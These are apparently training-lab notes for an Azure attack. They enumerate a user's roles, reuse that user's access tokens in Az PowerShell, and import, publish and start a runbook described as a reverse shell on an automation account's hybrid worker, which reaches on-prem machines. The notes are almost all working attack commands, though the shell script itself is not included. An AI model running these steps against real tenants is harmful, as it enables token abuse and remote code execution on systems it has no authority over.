List roles assigned to user
az role assignment list --assigneeMarkDWalden@defcorphq.onmicrosoft.com
If no output is returned, request na access token for ARM and aad-graph to use Az PowerShell.
az account get-access-token
az account get-access-token --resource-type aad-graph
$AADToken = 'eyJ0…'
$AccessToken = 'eyJ0…'
Connect-AzAccount -AccessToken $AccessToken -GraphAccessToken $AADToken -AccountId f66e133c-bd01-4b0b-b3b7-7cd949fd45f3
Get-AzRoleAssignment -Scope /subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation
Look for roles
Look in the output for RoleDefinitionName :, for example, if the role is Contributer we can do some things with the automation account and run books.
Check if hybrid worker group is in use by the automation account
Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Engineering
Having a hybrid runbookworker will allow us to execute commands/scripts on the on-prem infrastructure.
Create, publish, and run a runbook
This uses a simple PowerShell reverse shell, but will need a true payload for real life.
Here studentx.ps1 is a reverse shell.
Import-AzAutomationRunbook -Name studentx -Path C:\AzAD\Tools\studentx.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Type PowerShell -Force -Verbose
Publish the runbook so you can use it. Note the -RunbookName is just an example here.
Publish-AzAutomationRunbook -RunbookName studentx -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
Start the runbook using previously gathered information.
Start-AzAutomationRunbook -RunbookName studentx -RunOn Workergroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose